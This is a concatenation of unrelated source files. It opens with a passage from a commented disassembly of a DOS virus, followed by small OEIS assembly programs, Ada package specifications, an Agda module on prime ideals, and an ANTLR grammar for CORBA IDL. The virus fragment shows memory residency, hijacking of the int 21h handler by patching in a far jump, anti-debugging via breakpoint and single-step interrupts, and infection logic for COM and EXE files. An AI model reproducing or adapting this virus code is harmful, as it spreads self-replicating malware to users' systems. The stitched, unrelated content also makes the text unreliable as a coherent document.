mov byte ptr cs:[428h],al ;l_17A8 ;1804 2E: A2 0428
mov al,es:[di] ;1808 26: 8A 05
mov byte ptr cs:[429h],al ;l_17A8+1 ;180B 2E: A2 0429
mov al,es:[di+1] ;180F 26: 8A 45 01
mov byte ptr cs:[42Ah],al ;l_17A8+2 ;1813 2E: A2 042A
jmp short l_1821 ;1817 EB 08
nop ;1819 90
;<- allready resident
l_181A: jmp short l_1870 ;-> EXIT ;181A EB 54
nop ;181C 90
d_049D dw 140Dh ;address to jump1 into ;181D 0D 14
d_049F dw 0278h ;old int 21h segment ;181F 78 02
l_1821: mov ax,di ;1821 8B C7
add ax,4 ;next to conditional jmp;1823 05 0004
xor bx,bx ;1826 33 DB
mov bl,es:[di+3] ;jump length ;1828 26: 8A 5D 03
add ax,bx ;jump address ;182C 03 C3
mov word ptr ds:[49Dh],ax ;l_181D ;182E A3 049D
cmp byte ptr es:[di+3],80h ;1831 26: 80 7D 03 80
jb l_183E ;-> forward jump ;1836 72 06
;<- jump backwards
sub ax,100h ;minus carry ;1838 2D 0100
mov word ptr ds:[49Dh],ax ;l_181D ;183B A3 049D
l_183E: add di,4 ;second condition addrs ;183E 83 C7 04
mov word ptr ds:[547h],di ;1841 89 3E 0547
sub di,5 ;<- area to substitute ;1845 83 EF 05
push es ;1848 06
push di ;1849 57
mov dx,9800h ;resident virus segment ;184A BA 9800
mov word ptr cs:[4F5h],dx ;184D 2E: 89 16 04F5
mov es,dx ;1852 8E C2
xor si,si ;1854 33 F6
xor di,di ;1856 33 FF
mov cx,612h ;l_1380 -> l_1992 ;1858 B9 0612
rep movsb ;copy virus code ;185B F3/ A4
;<----- take control over int 21h
lea cx,cs:[413h] ;offset l_1793 ;185D 8D 0E 0413
mov word ptr ds:[4F3h],cx ;1861 89 0E 04F3
pop di ;1865 5F
pop es ;1866 07
mov cx,5 ;1867 B9 0005
lea si,cs:[4F2h] ;offset l_1792 ;186A 8D 36 04F2
rep movsb ;186E F3/ A4
l_1870: sti ;1870 FB
retn ;1871 C3
s_17BB endp
;<---- instruction pattern to write over int 21h code
d_04F2 db 0EAh ;JMP FAR 9800:l_1793 ;1872 EA
d_04F3 dw 0 ;:= offset l_1793 ;1873 00 00
d_04F5 dw 9800h ;resident virus segment ;1875 00 98
;================================================
; saved 32 victim bytes
;------------------------------------------------
d_04F7 db 0E9h,0FFh,11h ;1877 E9 FF 11
db 'Converted',0,0,0,0 ;187A 43 6F 6E 76 65 72
;1880 74 65 64 00 00 00 00
db 'MZ' ;1887 4D 5A
db 0EAh,01h,09h,00h,08h,00h ;1889 EA 01 09 00 08 00
db 20h,00h,00h,00h,0FFh,0FFh ;188F 20 00 00 00 FF FF
db 98h,00h ;1895 98 00 00
;-----------------------------------
db 48 dup (0) ;not used ;1897 0030[00]
d_0547 dw 146Ch ;address to jump2 into ;18C7 6C 14
d_0549 dw 0278h ;old int 21h segment ;18C9 78 02
;<------ code writed to in case of paragraf alignement
db 0E9h ;jmp l_18CF ;18CB E9
d_054C dw 052Ch ;distance of jump ;18CC 2C 05
db 0 ;18CE 00
;================================================================
; EXE virus entry
;----------------------------------------------------------------
l_18CF: push bx ;18CF 53
push cx ;18D0 51
push es ;18D1 06
push ds ;18D2 1E
pushf ;18D3 9C
mov ax,cs ;18D4 8C C8
mov ds,ax ;18D6 8E D8
call s_1938 ;make virus resident ;18D8 E8 005D
cmp byte ptr ds:[349h],0FFh ;l_16C9 (0FFh=COM) ;18DB 80 3E 0349 FF
je l_18E5 ;18E0 74 03
jmp short l_1953 ;-> ? ;18E2 EB 6F
nop ;18E4 90
;================================================================
; End of virus code - file *.COM
;----------------------------------------------------------------
l_18E5: popf ;18E5 9D
pop ds ;18E6 1F
pop es ;18E7 07
pop cx ;18E8 59
pop bx ;18E9 5B
mov word ptr cs:[5B4h],100h ;l_1934 = victim IP ;18EA 2E: C7 06 05B4 0100
mov ax,es ;18F1 8C C0
mov word ptr cs:[5B6h],ax ;l_1936 = victim CS ;18F3 2E: A3 05B6
call s_16CA ;init registers ;18F7 E8 FDD0
jmp dword ptr cs:[5B4h] ;l_1934 -> run victim ;18FA 2E: FF 2E 05B4
;<--- victim name
d_057F db 'A:\SYS.COM' ;18FF 41 3A 5C 53 59 53
;1905 2E 43 4F 4D
db 0,'XE',0,'E',0 ;1909 00 58 45 00 45 00
db 9 dup (0) ;190F 0009[00]
;================================================================
; ANTYDEBUG - make virus resident
;----------------------------------------------------------------
s_1918 proc near
cmp ax,3000h ;1918 3D 3000
jne l_1925 ;-> int 3 ;191B 75 08
call s_17BB ;-> make virus resident ;191D E8 FE9B
retn ;1920 C3
s_1918 endp
d_05A1 dw 002Ah ;victim SS (rel) ;1921 2A 00
d_05A3 dw 1388h ;victim SP ;1923 88 13
;================================================================
; ANTYDEBUG - call int 3 (Breakpoint)
;----------------------------------------------------------------
s_1925 proc near
l_1925: mov ax,3000h ;Flag register ;1925 B8 3000
push ax ;1928 50
l_1929: call dword ptr es:[0Ch] ;int 3 (Breakpoint) ;1929 26: FF 1E 000C
cmp ax,3000h ;192E 3D 3000
jne l_1929 ;1931 75 F6
retn ;1933 C3
s_1925 endp
d_05B4 dw 0000h ;victim IP ;1934 00 00
d_05B6 dw 000Bh ;victim CS (rel) ;1936 0B 00
;================================================================
; Make virus resident
;----------------------------------------------------------------
s_1938 proc near
push es ;1938 06
call s_1948 ;-> INT 1 (single step) ;1939 E8 000C
cmp ax,0 ;193C 3D 0000
jne l_1947 ;193F 75 06
call s_1925 ;-> INT 3 (Breakpoint) ;1941 E8 FFE1
call s_1918 ;-> reside virus ;1944 E8 FFD1
l_1947: pop es ;1947 07
;================================================================
; ANTYDEBUG - call int 1 = Single Step
;----------------------------------------------------------------
s_1948: pushf ;1948 9C
xor ax,ax ;1949 33 C0
mov es,ax ;194B 8E C0
call dword ptr es:[4h] ;int 1 ;194D 26: FF 1E 0004
retn ;1952 C3
s_1938 endp
;================================================================
; End of virus code - file *.EXE
;----------------------------------------------------------------
l_1953: popf ;1953 9D
pop ds ;1954 1F
pop es ;1955 07
pop cx ;1956 59
pop bx ;1957 5B
mov ax,es ;1958 8C C0
add ax,10h ;relocating value ;195A 05 0010
mov dx,ax ;195D 8B D0
mov bp,word ptr cs:[5A1h] ;l_1921 = victim SS ;195F 2E: 8B 2E 05A1
add bp,ax ;1964 03 E8
mov ss,bp ;1966 8E D5
mov bp,word ptr cs:[5A3h] ;l_1923 = victim SP ;1968 2E: 8B 2E 05A3
mov sp,bp ;196D 8B E5
mov ax,dx ;196F 8B C2
add word ptr cs:[5B6h],ax ;l_1936 - CS relocation ;1971 2E: 01 06 05B6
call s_16CA ;init registers ;1976 E8 FD51
jmp dword ptr cs:[5B4h] ;-> run victim ;1979 2E: FF 2E 05B4
db 20 dup (0) ;COM file stack ;197E 0014[00]
d_0612 label byte ;1992h
seg_a ends
end start
|
programs/oeis/099/A099857.asm | karttu/loda | 0 | 13708 | <reponame>karttu/loda
; A099857: Expansion of (1+3x+x^2)/(1-3x+x^2).
; 1,6,18,48,126,330,864,2262,5922,15504,40590,106266,278208,728358,1906866,4992240,13069854,34217322,89582112,234529014,614004930,1607485776,4208452398,11017871418,28845161856,75517614150,197707680594
mov $1,1
trn $1,$0
lpb $0,1
sub $0,1
add $2,$1
add $1,$2
add $1,6
lpe
|
Ada/inc/BigInteger.ads | Tim-Tom/project-euler | 0 | 6775 | with Ada.Containers.Vectors;
package BigInteger is
type BigInt is private;
function Create(l : in Long_Long_Integer) return BigInt;
function Create(s : in String) return BigInt;
-- Two Big Ints
function "+" (Left, Right: in BigInt) return BigInt;
function "-" (Left, Right: in BigInt) return BigInt;
function "*" (Left, Right: in BigInt) return BigInt;
function "**" (Left: in BigInt; Right: in Natural) return BigInt;
function Magnitude(bi : in BigInt) return Positive;
function ToString(bi : in BigInt) return String;
private
package Int_Vector is new Ada.Containers.Vectors(Index_Type => Positive, Element_Type => Long_Long_Integer);
type BigInt is record
bits : Int_Vector.Vector;
negative : Boolean;
end record;
end BigInteger;
|
oeis/026/A026201.asm | neoneye/loda-programs | 11 | 105291 | <reponame>neoneye/loda-programs
; A026201: Position of n in A026200.
; Submitted by <NAME>(s1)
; 1,2,5,3,9,4,13,6,17,7,21,8,25,10,29,11,33,12,37,14,41,15,45,16,49,18,53,19,57,20,61,22,65,23,69,24,73,26,77,27,81,28,85,30,89,31,93,32,97,34,101,35,105,36,109,38,113,39,117,40,121
mul $0,2
add $0,1
mov $1,$0
mod $0,4
div $1,$0
mul $1,2
add $0,$1
div $0,2
|
oeis/193/A193394.asm | neoneye/loda-programs | 11 | 85506 | <filename>oeis/193/A193394.asm
; A193394: Hyper-Wiener index of a benzenoid consisting of a zig-zag chain of n hexagons (s=13; see the Gutman et al. reference).
; 42,215,636,1513,3118,5787,9920,15981,24498,36063,51332,71025,95926,126883,164808,210677,265530,330471,406668,495353,597822,715435,849616,1001853,1173698,1366767,1582740,1823361,2090438,2385843,2711512,3069445,3461706,3890423,4357788,4866057,5417550,6014651,6659808,7355533,8104402,8909055,9772196,10696593,11685078,12740547,13865960,15064341,16338778,17692423,19128492,20650265,22261086,23964363,25763568,27662237,29663970,31772431,33991348,36324513,38775782,41349075,44048376,46877733,49841258
mov $6,$0
mul $0,2
add $0,2
mov $1,$0
mov $2,$0
mov $3,5
mov $5,$0
lpb $2
add $2,1
lpb $5
add $0,$1
add $2,$0
add $2,1
add $4,$3
add $4,$2
sub $5,1
lpe
mov $2,0
lpe
mov $0,$4
sub $0,5
lpb $6
add $0,36
sub $6,1
lpe
add $0,14
|
oeis/083/A083381.asm | neoneye/loda-programs | 11 | 28610 | ; A083381: Square array giving the number of trellis edges T(i,j) (i >= 0, j >= 0), read by antidiagonals.
; Submitted by <NAME>(s4)
; 0,1,1,2,5,2,3,9,9,3,4,13,16,13,4,5,17,23,23,17,5,6,21,30,33,30,21,6,7,25,37,43,43,37,25,7,8,29,44,53,56,53,44,29,8,9,33,51,63,69,69,63,51,33,9,10,37,58,73,82,85,82,73,58,37,10,11,41,65,83,95,101,101,95,83,65,41
lpb $0
add $1,1
sub $0,$1
lpe
sub $1,$0
mul $0,3
add $0,1
mul $1,3
mul $1,$0
add $0,$1
div $0,3
|
Rings/Ideals/Prime/Lemmas.agda | Smaug123/agdaproofs | 4 | 10107 | <gh_stars>1-10
{-# OPTIONS --safe --warning=error --without-K #-}
open import LogicalFormulae
open import Groups.Definition
open import Setoids.Setoids
open import Rings.Definition
open import Sets.EquivalenceRelations
open import Rings.Ideals.Definition
open import Rings.IntegralDomains.Definition
open import Rings.Ideals.Prime.Definition
open import Rings.Cosets
module Rings.Ideals.Prime.Lemmas {a b : _} {A : Set a} {S : Setoid {a} {b} A} {_+_ _*_ : A → A → A} {R : Ring S _+_ _*_} {c : _} {pred : A → Set c} (i : Ideal R pred) where
open Ring R
open Group additiveGroup
open Setoid S
open Equivalence eq
open import Rings.Ideals.Lemmas R
idealPrimeImpliesQuotientIntDom : PrimeIdeal i → IntegralDomain (cosetRing R i)
IntegralDomain.intDom (idealPrimeImpliesQuotientIntDom isPrime) {a} {b} ab=0 a!=0 = ans
where
ab=0' : pred (a * b)
ab=0' = translate' i ab=0
a!=0' : (pred a) → False
a!=0' prA = a!=0 (translate i prA)
ans' : pred b
ans' = PrimeIdeal.isPrime isPrime ab=0' a!=0'
ans : pred (inverse (Ring.0R (cosetRing R i)) + b)
ans = translate i ans'
IntegralDomain.nontrivial (idealPrimeImpliesQuotientIntDom isPrime) 1=0 = PrimeIdeal.notContainedIsNotContained isPrime u
where
t : pred (Ring.1R (cosetRing R i))
t = translate' i 1=0
u : pred (PrimeIdeal.notContained isPrime)
u = Ideal.isSubset i identIsIdent (Ideal.accumulatesTimes i {y = PrimeIdeal.notContained isPrime} t)
quotientIntDomImpliesIdealPrime : IntegralDomain (cosetRing R i) → PrimeIdeal i
quotientIntDomImpliesIdealPrime intDom = record { isPrime = isPrime ; notContained = Ring.1R R ; notContainedIsNotContained = notCon }
where
abstract
notCon : pred 1R → False
notCon 1=0 = IntegralDomain.nontrivial intDom (translate i 1=0)
isPrime : {a b : A} → pred (a * b) → (pred a → False) → pred b
isPrime {a} {b} predAB !predA = translate' i (IntegralDomain.intDom intDom (translate i predAB) λ t → !predA (translate' i t))
private
dividesZero : {a : A} → generatedIdealPred R 0R a → a ∼ 0R
dividesZero (c , pr) = symmetric (transitive (symmetric (transitive *Commutative timesZero)) pr)
zeroIdealPrimeImpliesIntDom : PrimeIdeal (generatedIdeal R 0R) → IntegralDomain R
IntegralDomain.intDom (zeroIdealPrimeImpliesIntDom record { isPrime = isPrime ; notContained = notContained ; notContainedIsNotContained = notContainedIsNotContained }) {a} {b} ab=0 a!=0 with isPrime {a} {b} (1R , transitive (transitive *Commutative timesZero) (symmetric ab=0)) (λ 0|a → a!=0 (dividesZero 0|a))
... | c , 0c=b = transitive (symmetric 0c=b) (transitive *Commutative timesZero)
IntegralDomain.nontrivial (zeroIdealPrimeImpliesIntDom record { isPrime = isPrime ; notContained = notContained ; notContainedIsNotContained = notContainedIsNotContained }) 1=0 = notContainedIsNotContained (notContained , transitive (*WellDefined (symmetric 1=0) reflexive) identIsIdent)
intDomImpliesZeroIdealPrime : IntegralDomain R → PrimeIdeal (generatedIdeal R 0R)
PrimeIdeal.isPrime (intDomImpliesZeroIdealPrime intDom) (c , 0=ab) 0not|a with IntegralDomain.intDom intDom (transitive (symmetric 0=ab) (transitive *Commutative timesZero)) (λ a=0 → 0not|a (0R , transitive timesZero (symmetric a=0)))
... | b=0 = 0R , transitive timesZero (symmetric b=0)
PrimeIdeal.notContained (intDomImpliesZeroIdealPrime intDom) = 1R
PrimeIdeal.notContainedIsNotContained (intDomImpliesZeroIdealPrime intDom) (c , 0c=1) = IntegralDomain.nontrivial intDom (symmetric (transitive (symmetric (transitive *Commutative timesZero)) 0c=1))
primeIdealWellDefined : {c : _} {pred2 : A → Set c} (ideal2 : Ideal R pred2) → ({x : A} → pred x → pred2 x) → ({x : A} → pred2 x → pred x) → PrimeIdeal i → PrimeIdeal ideal2
PrimeIdeal.isPrime (primeIdealWellDefined ideal2 predToPred2 pred2ToPred record { isPrime = isPrime ; notContained = notContained ; notContainedIsNotContained = notContainedIsNotContained }) p2ab notP2a = predToPred2 (isPrime (pred2ToPred p2ab) λ p → notP2a (predToPred2 p))
PrimeIdeal.notContained (primeIdealWellDefined ideal2 predToPred2 pred2ToPred record { isPrime = isPrime ; notContained = notContained ; notContainedIsNotContained = notContainedIsNotContained }) = notContained
PrimeIdeal.notContainedIsNotContained (primeIdealWellDefined ideal2 predToPred2 pred2ToPred record { isPrime = isPrime ; notContained = notContained ; notContainedIsNotContained = notContainedIsNotContained }) pred2Not = notContainedIsNotContained (pred2ToPred pred2Not)
|
tier-1/xcb/source/thin/xcb-xcb_create_glyph_cursor_request_t.ads | charlie5/cBound | 2 | 25565 | -- This file is generated by SWIG. Please do not modify by hand.
--
with Interfaces;
with Interfaces.C;
with Interfaces.C.Pointers;
package xcb.xcb_create_glyph_cursor_request_t is
-- Item
--
type Item is record
major_opcode : aliased Interfaces.Unsigned_8;
pad0 : aliased Interfaces.Unsigned_8;
length : aliased Interfaces.Unsigned_16;
cid : aliased xcb.xcb_cursor_t;
source_font : aliased xcb.xcb_font_t;
mask_font : aliased xcb.xcb_font_t;
source_char : aliased Interfaces.Unsigned_16;
mask_char : aliased Interfaces.Unsigned_16;
fore_red : aliased Interfaces.Unsigned_16;
fore_green : aliased Interfaces.Unsigned_16;
fore_blue : aliased Interfaces.Unsigned_16;
back_red : aliased Interfaces.Unsigned_16;
back_green : aliased Interfaces.Unsigned_16;
back_blue : aliased Interfaces.Unsigned_16;
end record;
-- Item_Array
--
type Item_Array is
array
(Interfaces.C
.size_t range <>) of aliased xcb.xcb_create_glyph_cursor_request_t
.Item;
-- Pointer
--
package C_Pointers is new Interfaces.C.Pointers
(Index => Interfaces.C.size_t,
Element => xcb.xcb_create_glyph_cursor_request_t.Item,
Element_Array => xcb.xcb_create_glyph_cursor_request_t.Item_Array,
Default_Terminator => (others => <>));
subtype Pointer is C_Pointers.Pointer;
-- Pointer_Array
--
type Pointer_Array is
array
(Interfaces.C
.size_t range <>) of aliased xcb.xcb_create_glyph_cursor_request_t
.Pointer;
-- Pointer_Pointer
--
package C_Pointer_Pointers is new Interfaces.C.Pointers
(Index => Interfaces.C.size_t,
Element => xcb.xcb_create_glyph_cursor_request_t.Pointer,
Element_Array => xcb.xcb_create_glyph_cursor_request_t.Pointer_Array,
Default_Terminator => null);
subtype Pointer_Pointer is C_Pointer_Pointers.Pointer;
end xcb.xcb_create_glyph_cursor_request_t;
|
src/frontend/Experimental_Ada_ROSE_Connection/parser/ada_c_demo/source/ada_main.adb | ouankou/rose | 488 | 353 | with Ada.Text_IO;
with Ada_Code;
procedure Ada_Main is
package ATI renames Ada.Text_Io;
begin
ATI.Put_Line ("Ada_Main: Calling Ada_Proc");
Ada_Code.Ada_Proc;
ATI.Put_Line ("Ada_Main: Returned from Ada_Proc");
end Ada_Main;
|
oeis/282/A282285.asm | neoneye/loda-programs | 11 | 176742 | <reponame>neoneye/loda-programs<filename>oeis/282/A282285.asm
; A282285: Least common multiple of 5*n+1 and 5*n-1.
; Submitted by <NAME>
; 1,12,99,112,399,312,899,612,1599,1012,2499,1512,3599,2112,4899,2812,6399,3612,8099,4512,9999,5512,12099,6612,14399,7812,16899,9112,19599,10512,22499,12012,25599,13612,28899,15312,32399,17112,36099,19012,39999,21012,44099,23112,48399,25312,52899,27612,57599,30012,62499,32512,67599,35112,72899,37812,78399,40612,84099,43512,89999,46512,96099,49612,102399,52812,108899,56112,115599,59512,122499,63012,129599,66612,136899,70312,144399,74112,152099,78012,159999,82012,168099,86112,176399,90312,184899
mul $0,5
pow $0,2
trn $0,2
add $0,1
dif $0,2
|
idl/IDL.g4 | augustand/grammars-v4 | 0 | 7090 | <reponame>augustand/grammars-v4
/*
[The "BSD licence"]
Copyright (c) 2014 AutoTest Technologies, LLC
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
3. The name of the author may not be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/** CORBA IDL v3.5 grammar built from the OMG IDL language spec 'ptc-13-02-02'
http://www.omg.org/spec/IDL35/Beta1/PDF/
Initial IDL spec implementation in ANTLR v3 by <NAME>.
Migrated to ANTLR v4 by <NAME>.
Current revision prepared by <NAME>.
*/
grammar IDL;
specification
: import_decl* definition +
;
definition
: type_decl SEMICOLON
| const_decl SEMICOLON
| except_decl SEMICOLON
| interface_or_forward_decl SEMICOLON
| module SEMICOLON
| value SEMICOLON
| type_id_decl SEMICOLON
| type_prefix_decl SEMICOLON
| event SEMICOLON
| component SEMICOLON
| home_decl SEMICOLON
;
module
: KW_MODULE ID LEFT_BRACE definition + RIGHT_BRACE
;
interface_or_forward_decl
: interface_decl
| forward_decl
;
interface_decl
: interface_header LEFT_BRACE interface_body RIGHT_BRACE
;
forward_decl
: (KW_ABSTRACT | KW_LOCAL)? KW_INTERFACE ID
;
interface_header
: (KW_ABSTRACT | KW_LOCAL)? KW_INTERFACE ID (interface_inheritance_spec)?
;
interface_body
: export*
;
export
: type_decl SEMICOLON
| const_decl SEMICOLON
| except_decl SEMICOLON
| attr_decl SEMICOLON
| op_decl SEMICOLON
| type_id_decl SEMICOLON
| type_prefix_decl SEMICOLON
;
interface_inheritance_spec
: COLON interface_name (COMA interface_name)*
;
interface_name
: scoped_name
;
scoped_name
: (DOUBLE_COLON)? ID (DOUBLE_COLON ID)*
;
value
: (value_decl | value_abs_decl | value_box_decl | value_forward_decl)
;
value_forward_decl
: (KW_ABSTRACT)? KW_VALUETYPE ID
;
value_box_decl
: KW_VALUETYPE ID type_spec
;
value_abs_decl
: KW_ABSTRACT KW_VALUETYPE ID value_inheritance_spec LEFT_BRACE export* RIGHT_BRACE
;
value_decl
: value_header LEFT_BRACE value_element* RIGHT_BRACE
;
value_header
: (KW_CUSTOM)? KW_VALUETYPE ID value_inheritance_spec
;
value_inheritance_spec
: (COLON (KW_TRUNCATABLE)? value_name (COMA value_name)*)? (KW_SUPPORTS interface_name (COMA interface_name)*)?
;
value_name
: scoped_name
;
value_element
: (export | state_member | init_decl)
;
state_member
: (KW_PUBLIC | KW_PRIVATE) type_spec declarators SEMICOLON
;
init_decl
: KW_FACTORY ID LEFT_BRACKET (init_param_decls)? RIGHT_BRACKET (raises_expr)? SEMICOLON
;
init_param_decls
: init_param_decl (COMA init_param_decl)*
;
init_param_decl
: init_param_attribute param_type_spec simple_declarator
;
init_param_attribute
: KW_IN
;
const_decl
: KW_CONST const_type ID EQUAL const_exp
;
const_type
: integer_type
| char_type
| wide_char_type
| boolean_type
| floating_pt_type
| string_type
| wide_string_type
| fixed_pt_const_type
| scoped_name
| octet_type
;
const_exp
: or_expr
;
or_expr
: xor_expr (PIPE xor_expr)*
;
xor_expr
: and_expr (CARET and_expr)*
;
and_expr
: shift_expr (AMPERSAND shift_expr)*
;
shift_expr
: add_expr ((RIGHT_SHIFT | LEFT_SHIFT) add_expr)*
;
add_expr
: mult_expr ((PLUS | MINUS) mult_expr)*
;
mult_expr
: unary_expr (('*' | SLASH | PERCENT) unary_expr)*
;
unary_expr
: unary_operator primary_expr
| primary_expr
;
unary_operator
: (MINUS | PLUS | TILDE)
;
primary_expr
: scoped_name
| literal
| LEFT_BRACKET const_exp RIGHT_BRACKET
;
literal
: (HEX_LITERAL | INTEGER_LITERAL | STRING_LITERAL | WIDE_STRING_LITERAL | CHARACTER_LITERAL | WIDE_CHARACTER_LITERAL | FIXED_PT_LITERAL | FLOATING_PT_LITERAL | BOOLEAN_LITERAL)
;
positive_int_const
: const_exp
;
type_decl
: KW_TYPEDEF type_declarator
| struct_type
| union_type
| enum_type
| KW_NATIVE simple_declarator
| constr_forward_decl
;
type_declarator
: type_spec declarators
;
type_spec
: simple_type_spec
| constr_type_spec
;
simple_type_spec
: base_type_spec
| template_type_spec
| scoped_name
;
base_type_spec
: floating_pt_type
| integer_type
| char_type
| wide_char_type
| boolean_type
| octet_type
| any_type
| object_type
| value_base_type
;
template_type_spec
: sequence_type
| string_type
| wide_string_type
| fixed_pt_type
;
constr_type_spec
: struct_type
| union_type
| enum_type
;
declarators
: declarator (COMA declarator)*
;
declarator
: simple_declarator
| complex_declarator
;
simple_declarator
: ID
;
complex_declarator
: array_declarator
;
floating_pt_type
: (KW_FLOAT | KW_DOUBLE | KW_LONG KW_DOUBLE)
;
integer_type
: signed_int
| unsigned_int
;
signed_int
: signed_short_int
| signed_long_int
| signed_longlong_int
;
signed_short_int
: KW_SHORT
;
signed_long_int
: KW_LONG
;
signed_longlong_int
: KW_LONG KW_LONG
;
unsigned_int
: unsigned_short_int
| unsigned_long_int
| unsigned_longlong_int
;
unsigned_short_int
: KW_UNSIGNED KW_SHORT
;
unsigned_long_int
: KW_UNSIGNED KW_LONG
;
unsigned_longlong_int
: KW_UNSIGNED KW_LONG KW_LONG
;
char_type
: KW_CHAR
;
wide_char_type
: KW_WCHAR
;
boolean_type
: KW_BOOLEAN
;
octet_type
: KW_OCTET
;
any_type
: KW_ANY
;
object_type
: KW_OBJECT
;
struct_type
: KW_STRUCT ID LEFT_BRACE member_list RIGHT_BRACE
;
member_list
: member +
;
member
: type_spec declarators SEMICOLON
;
union_type
: KW_UNION ID KW_SWITCH LEFT_BRACKET switch_type_spec RIGHT_BRACKET LEFT_BRACE switch_body RIGHT_BRACE
;
switch_type_spec
: integer_type
| char_type
| boolean_type
| enum_type
| scoped_name
;
switch_body
: case_stmt +
;
case_stmt
: case_label + element_spec SEMICOLON
;
case_label
: KW_CASE const_exp COLON
| KW_DEFAULT COLON
;
element_spec
: type_spec declarator
;
enum_type
: KW_ENUM ID LEFT_BRACE enumerator (COMA enumerator)* RIGHT_BRACE
;
enumerator
: ID
;
sequence_type
: KW_SEQUENCE LEFT_ANG_BRACKET simple_type_spec COMA positive_int_const RIGHT_ANG_BRACKET
| KW_SEQUENCE LEFT_ANG_BRACKET simple_type_spec RIGHT_ANG_BRACKET
;
string_type
: KW_STRING LEFT_ANG_BRACKET positive_int_const RIGHT_ANG_BRACKET
| KW_STRING
;
wide_string_type
: KW_WSTRING LEFT_ANG_BRACKET positive_int_const RIGHT_ANG_BRACKET
| KW_WSTRING
;
array_declarator
: ID fixed_array_size +
;
fixed_array_size
: LEFT_SQUARE_BRACKET positive_int_const RIGHT_SQUARE_BRACKET
;
attr_decl
: readonly_attr_spec
| attr_spec
;
except_decl
: KW_EXCEPTION ID LEFT_BRACE member* RIGHT_BRACE
;
op_decl
: (op_attribute)? op_type_spec ID parameter_decls (raises_expr)? (context_expr)?
;
op_attribute
: KW_ONEWAY
;
op_type_spec
: param_type_spec
| KW_VOID
;
parameter_decls
: LEFT_BRACKET param_decl (COMA param_decl)* RIGHT_BRACKET
| LEFT_BRACKET RIGHT_BRACKET
;
param_decl
: param_attribute param_type_spec simple_declarator
;
param_attribute
: KW_IN
| KW_OUT
| KW_INOUT
;
raises_expr
: KW_RAISES LEFT_BRACKET scoped_name (COMA scoped_name)* RIGHT_BRACKET
;
context_expr
: KW_CONTEXT LEFT_BRACKET STRING_LITERAL (COMA STRING_LITERAL)* RIGHT_BRACKET
;
param_type_spec
: base_type_spec
| string_type
| wide_string_type
| scoped_name
;
fixed_pt_type
: KW_FIXED LEFT_ANG_BRACKET positive_int_const COMA positive_int_const RIGHT_ANG_BRACKET
;
fixed_pt_const_type
: KW_FIXED
;
value_base_type
: KW_VALUEBASE
;
constr_forward_decl
: KW_STRUCT ID
| KW_UNION ID
;
import_decl
: KW_IMPORT imported_scope SEMICOLON
;
imported_scope
: scoped_name
| STRING_LITERAL
;
type_id_decl
: KW_TYPEID scoped_name STRING_LITERAL
;
type_prefix_decl
: KW_TYPEPREFIX scoped_name STRING_LITERAL
;
readonly_attr_spec
: KW_READONLY KW_ATTRIBUTE param_type_spec readonly_attr_declarator
;
readonly_attr_declarator
: simple_declarator raises_expr
| simple_declarator (COMA simple_declarator)*
;
attr_spec
: KW_ATTRIBUTE param_type_spec attr_declarator
;
attr_declarator
: simple_declarator attr_raises_expr
| simple_declarator (COMA simple_declarator)*
;
attr_raises_expr
: get_excep_expr (set_excep_expr)?
| set_excep_expr
;
get_excep_expr
: KW_GETRAISES exception_list
;
set_excep_expr
: KW_SETRAISES exception_list
;
exception_list
: LEFT_BRACKET scoped_name (COMA scoped_name)* RIGHT_BRACKET
;
component
: component_decl
| component_forward_decl
;
component_forward_decl
: KW_COMPONENT ID
;
component_decl
: component_header LEFT_BRACE component_body RIGHT_BRACE
;
component_header
: KW_COMPONENT ID (component_inheritance_spec)? (supported_interface_spec)?
;
supported_interface_spec
: KW_SUPPORTS scoped_name (COMA scoped_name)*
;
component_inheritance_spec
: COLON scoped_name
;
component_body
: component_export*
;
component_export
: provides_decl SEMICOLON
| uses_decl SEMICOLON
| emits_decl SEMICOLON
| publishes_decl SEMICOLON
| consumes_decl SEMICOLON
| attr_decl SEMICOLON
;
provides_decl
: KW_PROVIDES interface_type ID
;
interface_type
: scoped_name
| KW_OBJECT
;
uses_decl
: KW_USES (KW_MULTIPLE)? interface_type ID
;
emits_decl
: KW_EMITS scoped_name ID
;
publishes_decl
: KW_PUBLISHES scoped_name ID
;
consumes_decl
: KW_CONSUMES scoped_name ID
;
home_decl
: home_header home_body
;
home_header
: KW_HOME ID (home_inheritance_spec)? (supported_interface_spec)? KW_MANAGES scoped_name (primary_key_spec)?
;
home_inheritance_spec
: COLON scoped_name
;
primary_key_spec
: KW_PRIMARYKEY scoped_name
;
home_body
: LEFT_BRACE home_export* RIGHT_BRACE
;
home_export
: export
| factory_decl SEMICOLON
| finder_decl SEMICOLON
;
factory_decl
: KW_FACTORY ID LEFT_BRACKET (init_param_decls)? RIGHT_BRACKET (raises_expr)?
;
finder_decl
: KW_FINDER ID LEFT_BRACKET (init_param_decls)? RIGHT_BRACKET (raises_expr)?
;
event
: (event_decl | event_abs_decl | event_forward_decl)
;
event_forward_decl
: (KW_ABSTRACT)? KW_EVENTTYPE ID
;
event_abs_decl
: KW_ABSTRACT KW_EVENTTYPE ID value_inheritance_spec LEFT_BRACE export* RIGHT_BRACE
;
event_decl
: event_header LEFT_BRACE value_element* RIGHT_BRACE
;
event_header
: (KW_CUSTOM)? KW_EVENTTYPE ID value_inheritance_spec
;
INTEGER_LITERAL
: ('0' | '1' .. '9' '0' .. '9'*) INTEGER_TYPE_SUFFIX?
;
